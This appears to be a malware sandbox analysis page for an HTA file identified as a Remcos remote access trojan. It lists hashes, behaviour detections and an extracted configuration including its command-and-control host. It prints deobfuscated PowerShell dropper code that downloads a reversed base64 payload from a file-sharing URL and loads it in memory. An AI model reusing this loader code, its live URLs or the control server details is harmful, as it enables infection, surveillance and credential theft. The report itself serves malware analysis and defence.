Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

seemybestt...at.hta

windows7-x64

10

seemybestt...at.hta

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta

  • Size

    207KB

  • Sample

    241112-lpp5tsynbz

  • MD5

    a9cf15c4f82d5c26f48f4a16dfe7bd1a

  • SHA1

    f7f0b669264b0a42b290cb5476e21ffa51eebf34

  • SHA256

    ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

  • SHA512

    5a5f5e6d18a776646328ce85e59f12424f1fb8c2612d1299db7bc378177be369bb6e391488b02d40a682c37857bcf0576d415534c5aba4796f46c39ea5b21d2c

  • SSDEEP

    48:4FhWsTR/F7gNqXfkz0eZC0yZhboWWCRzESPUJ0cv5p299DdCf+xuj9AoapwSI0t7:43F97AIyCRRtnu4fAf+cZAoaDna8YQ

Score
10/10
remcosremotehostcollectiondefense_evasiondiscoveryexecutionrat

Malware Config

Extracted

Language
ps1
Deobfuscated
1
# powershell snippet 0
2
invoke-expression "$imageUrl = 'https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f ';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Command.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$commandBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.DEDDEWES/55/291.871.64.891//:ptth', 'desativado', 'desativado', 'desativado', 'CasPol', 'desativado', 'desativado','desativado','desativado','desativado','desativado','desativado','1','desativado'));"
3
4
# powershell snippet 1
5
$imageurl = "https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f "
6
$webclient = new-object system.net.webclient
7
$imagebytes = $webclient.downloaddata("https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f ")
8
$imagetext = ([system.text.encoding]::ascii).getstring($imagebytes)
9
$startflag = "<<BASE64_START>>"
10
$endflag = "<<BASE64_END>>"
11
$startindex = $imagetext.indexof("<<BASE64_START>>")
12
$endindex = $imagetext.indexof("<<BASE64_END>>")
13
$startindex -ge 0 -and $endindex -gt $startindex
14
$startindex = $startflag.length
15
$base64length = $endindex - $startindex
16
$base64command = $imagetext.substring($startindex, $base64length)
17
$base64reversed = -join $base64command.tochararray()|%{$_}[-(1..)($base64command.length)]
18
$commandbytes = [system.convert]::frombase64string($base64reversed)
19
$loadedassembly = [system.reflection.assembly]::load($commandbytes)
20
$vaimethod = ([dnlib.io.home]).getmethod("VAI")
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

remcos

Botnet

RemoteHost

C2

wayo.duckdns.org:6847

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Z90JT3

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Targets

    • Target

      seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta

    • Size

      207KB

    • MD5

      a9cf15c4f82d5c26f48f4a16dfe7bd1a

    • SHA1

      f7f0b669264b0a42b290cb5476e21ffa51eebf34

    • SHA256

      ff98902753abefb76884fc6fa5fa34f389b215ad9a447bf434624f097f12ad57

    • SHA512

      5a5f5e6d18a776646328ce85e59f12424f1fb8c2612d1299db7bc378177be369bb6e391488b02d40a682c37857bcf0576d415534c5aba4796f46c39ea5b21d2c

    • SSDEEP

      48:4FhWsTR/F7gNqXfkz0eZC0yZhboWWCRzESPUJ0cv5p299DdCf+xuj9AoapwSI0t7:43F97AIyCRRtnu4fAf+cZAoaDna8YQ

    Score
    10/10
    defense_evasiondiscoveryexecutionremcosremotehostcollectionrat

    • Remcos

      Remcos is a closed-source remote control and surveillance software.

      ratremcos

    • Remcos family

      remcos

    • Detected Nirsoft tools

      Free utilities often used by attackers which can steal passwords, product keys, etc.

    • NirSoft MailPassView

      Password recovery tool for various email clients

    • NirSoft WebBrowserPassView

      Password recovery tool for various web browsers

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

      execution

    • Evasion via Device Credential Deployment

      defense_evasionexecution

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Accesses Microsoft Outlook accounts

      collection

    • Suspicious use of SetThreadContext

    behavioral1behavioral2

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.